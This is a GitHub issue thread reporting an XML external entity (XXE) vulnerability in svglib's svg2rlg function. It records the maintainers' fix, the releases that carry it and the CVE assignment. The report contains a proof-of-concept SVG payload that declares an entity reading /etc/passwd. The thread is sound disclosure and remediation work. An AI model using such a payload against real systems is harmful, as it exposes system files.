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# No disabling external entity expansion (XXE) #229

Closed MrLion9 opened this issue on Feb 25, 2020 · 9 comments

MrLion9 commented on Feb 25, 2020 · edited

Hi! I found that I can perform XXE attack ([https://en.wikipedia.org/wiki/XML\\_external\\_entity\\_attack](https://en.wikipedia.org/wiki/XML_external_entity_attack)) when using svg2rlg function

Code:

```
saved_image_path = 'test.png'
with open("./test.svg", "wb") as f:
    f.write(image)
drawing = svg2rlg(image_path)
renderPM.drawToFile(drawing, saved_image_path, fmt="PNG")
```

Payload (test.svg)

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
  <ENTITY xxe SYSTEM "/etc/passwd">
]>
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
  xmlns="http://www.w3.org/2000/svg" version="1.1">
  <desc>Example text01 - 'Hello, out there' in blue</desc>

  <text x="250" y="150"
    font-family="Verdana" font-size="55" fill="blue" >
    &xxe;
  </text>

  <!-- Show outline of canvas using 'rect' element -->
  <rect x="1" y="1" width="998" height="298"
    fill="none" stroke="blue" stroke-width="2" />
</svg>
```

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deeplook commented on Feb 25, 2020

Owner

It would be nice to put a link like this with your description, if this is what you mean... [https://en.wikipedia.org/wiki/XML\\_external\\_entity\\_attack](https://en.wikipedia.org/wiki/XML_external_entity_attack)

MrLion9 commented on Feb 25, 2020

Author

Yes, that's what I meant )

averonesis commented on Mar 6, 2020

Hello @deeplook will you fix the issue?

claudep commented on Mar 6, 2020

Collaborator

Hello @averonesis will you suggest a patch?

claudep added a commit to claudep/svglib that referenced this issue on Mar 7, 2020

Fixes [deeplook#229](#) - External entity loading disabled by default

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claudep commented on Mar 7, 2020

Collaborator

@MrLion9, could you have a look at the patch, please?

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averonesis commented on Mar 7, 2020

@claudep yep, looks good, thank you!

MrLion9 closed this as completed on Mar 10, 2020

claudep commented on Mar 10, 2020

Collaborator

I guess you approved through emojis 🤔  
I reopen, because closing should be done when the patch is merged.



**claudep** reopened this on Mar 10, 2020

NicoleG25 commented on Mar 22, 2020

I believe that [CVE-2020-10799](#) was assigned to this issue :)



**claudep** closed this as completed in [35686a1](#) on Mar 22, 2020

**claudep** added a commit that referenced this issue on Mar 22, 2020

Fixes [#229](#) - External entity loading disabled by default ...

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**claudep** commented on Mar 22, 2020

Collaborator

I pushed both a 0.9.4 release to have a Python 2 compatible release with the fix and a 1.0.0 release which is now Python 2 free.

#### Assignees

No one assigned

#### Labels

None yet

#### Projects

None yet

#### Milestone

No milestone

#### Development

No branches or pull requests

5 participants

